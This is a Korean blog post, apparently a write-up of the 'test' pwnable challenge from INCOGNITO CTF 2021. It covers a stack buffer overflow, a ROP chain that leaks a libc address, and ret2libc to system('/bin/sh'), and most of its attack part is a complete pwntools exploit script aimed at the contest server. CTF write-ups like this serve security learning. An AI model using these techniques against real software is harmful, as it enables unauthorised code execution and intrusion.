본문 바로가기

CTF

test

INCOGNITO CTF 2021에 출제되었던 pwnable 첫 번째 문제입니다

이문제는 기본적인 ROP문제입니다 (제일 쉬운 문제...)

 

이전에 wargame에서 접했던 문제에서는 libc가 제공되었지만 해당 문제에서는 바이너리 파일만이 주어져서 재미있다고 느꼈습니다

checksec

NX bit와 Partial RELRO만이 걸려있습니다

IDA

IDA를 통해 확인해보면 test함수의 반환 값을 professor함수의 매개변수로 전달됩니다.

test

test함수에서는 수식의 답안을 정수로 입력받고 조건문을 수행하여 반환 값이 20x가 됩니다

encrypt

조건문에서는 a1의 값에 따라 xor 또는 곱셈을 수행하여 반환하게 됩니다 매개변수는 연산의 답안이 들어가기 때문에

올바른 정수 값을 입력하면 안 되고 encrypt함수를 수행한 값과 동일해야 합니다

조건문

하지만 encrypt함수 이후에 비교가 이루어지기 때문에 eax에 들어가 있는 정수만 확인해주면 굳이 encrypt함수에서 수행하는 연산을 하지 않고도 값을 알아낼 수 있습니다

professor

 

professor함수에서는 a 1가 100 이점 read함수를 통해 BOF가 발생하게 됩니다

그것을 통해 libc_base를 leak 할 수 있고 함수의 got를 leak 하여 libc의 버전 또한 알아낼 수 있습니다

당연히 exploit도 가능하겠죠

 

libc-database

libc-database를 통해 어떤 버전을 사용하는지 알았고

다른 주요 함수들의 offset 또한 알아낼 수 있습니다

그럼 처음에는 leak을 하여서 libc_base를 구해주고 ret주소를 main주소로 하여서 다시 main함수가 수행하게 하여서

다름 read함수에서 system(/bin/sh)를 수행하여 쉘을 얻을 수 있습니다

from pwn import *

p = remote("3.37.81.93", 10005)
#p = process("./test")
e = ELF("./test")

# test answer
def test():
    p.recvuntil(b"Student Name: ")
    p.sendline(b"\x41")

    answer= [b"316", b"201", b"421", b"16", b"24"]

    for i in range(5):
        p.recvuntil(b"= ")
        p.sendline(answer[i])
    p.recvuntil(b"What are you going to do after graduation?^^")

# got, plt, offset
puts_plt = e.plt['puts']
puts_got = e.got['puts']
read_got = e.got['read']


system_off = 0x0453a0
binsh_off = 0x18ce57
read_off = 0x0f7350
gets_off = 0x06ed90
pop_rdi = 0x00400a73
main = 0x400726


# leak
payload = b"\x41" * 0x108

payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(main)
# send leak
test()
p.sendline(payload)

#leak
p.recvline()
read_addr = p.recv(6)
read_addr += b"\x00\x00"
read_addr = u64(read_addr)

# logs (libc_base, system, binsh)
libc_base = read_addr - read_off
system = libc_base + system_off
binsh = libc_base + binsh_off


log.info("read_addr: " + hex(read_addr))
log.info("libc_base: " + hex(libc_base))
log.info("system: " + hex(system))
log.info("/bin/sh: " + hex(binsh))


payload = b"A" * 0x108
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

test()
p.sendline(payload)

p.interactive()

flag

 

libc 없이 처음 문제를 풀어보아서 Heap 공부하기 전에 마지막으로 풀기 좋은 문제였던 것 같습니다

쉬운 문제이기도 하고

'CTF' 카테고리의 다른 글

UMDCTF 2022 후기  (0) 2022.03.08
FOOBAR 2022 후기  (0) 2022.03.05
PWN / fake_canary  (0) 2021.07.31
pwn/ madlibs  (0) 2021.07.19
pwn/ gets  (2) 2021.07.19